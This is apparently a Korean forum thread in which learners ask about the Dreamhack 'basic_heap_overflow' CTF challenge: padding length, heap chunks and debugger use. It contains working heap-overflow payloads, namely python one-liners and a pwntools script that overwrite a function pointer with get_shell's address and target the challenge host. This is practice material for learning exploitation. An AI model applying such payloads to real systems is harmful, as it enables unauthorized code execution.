로컬에서 heap 영역을 보면 v5가 참조하는 table_func 주소가 있는 곳까지 48byte 만큼의 거리가 있어서 bof로 해서 로컬에서 table_func 주소를 get_shell로 변경하여 실행시켰습니다. 근데 호스트로 접속해서 페이로드를 날려도 안되길래 모가 잘못된거지하고 다른 분들의 writeup를 보니 40바이트로 되어있더군요 흐음... 분명히 제가 다운로드받은 바이너리에서는 48byte bof하고 get_shell 주소를 넣으면 되는 걸로 눈을 다시 씻고봐도 그렇게 보이는데..무엇이 잘못된 걸까요 **gef➤ x/30x 0x0804b1a0 0x804b1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b1b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b1c0: 0x41414141 0x41414141 0x00000000 0x00000031 0x804b1d0: 0x08048694 0x00000000 0x00000000 0x00000000** 페이로드 결과 1 "A*48" *root@kali:~# (python -c 'print "A"48+"\x7b\x86\x04\x08"';cat)|./basic_heap_overflow id uid=0(root) gid=0(root) groups=0(root)** 페이로드 결과 2 "A*40" *root@kali:~# (python -c 'print "A"40+"\x7b\x86\x04\x08"';cat)|./basic_heap_overflow overwrite_me!**

소스 코드 상에서는 2번의 malloc을 수행하는데 pwndbg의 heap 명령어를 통해 확인해보면 실제로 allocated 된 chunk는 3개인 것을 확인할 수 있습니다. int main() { char *ptr = malloc(0x20); struct over *over = malloc(0x20); initialize(); over->table = table_func; scanf("%s", ptr); if( !over->table ){ return 0; } over->table(); return 0; } Topchunk는 이해가 가는데, 이 191 바이트 크기의 heap영역+0x8부터 시작하는 chunk는 무엇인가요? (glibc 소스코드 오디팅을 통해서 해답을 찾을 수 있을거라 생각하는데, 너무 방대하여 어디부터 살펴보면 좋을지 감이 잘 오지 않습니다. 이에 glibc 디버깅을 위한 팁을 주신다면 매우 감사할 것 같습니다.)

from pwn import * p = remote("host1.dreamhack.games",8446) elf = ELF("./basic_heap_overflow") get_shell = elf.symbols['get_shell'] p.sendline('A'*40 + p32(get_shell)) p.interactive() Ubuntu------ [+] Opening connection to host1.dreamhack.games on port 8446: Done [*] '/mnt/c/ctf/DreamHack/basic_heap_overflow/basic_heap_overflow' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode [*] Got EOF while reading in interactive $ cat flag $ cat flag [*] Closed connection to host1.dreamhack.games port 8446 [*] Got EOF while sending in interactive 왜일까요..?

16.04 버전에서는 pwndbg가 설치되지 않아서 peda를 사용 중인데 heap 영역은 어떻게 확인할 수 있을까요?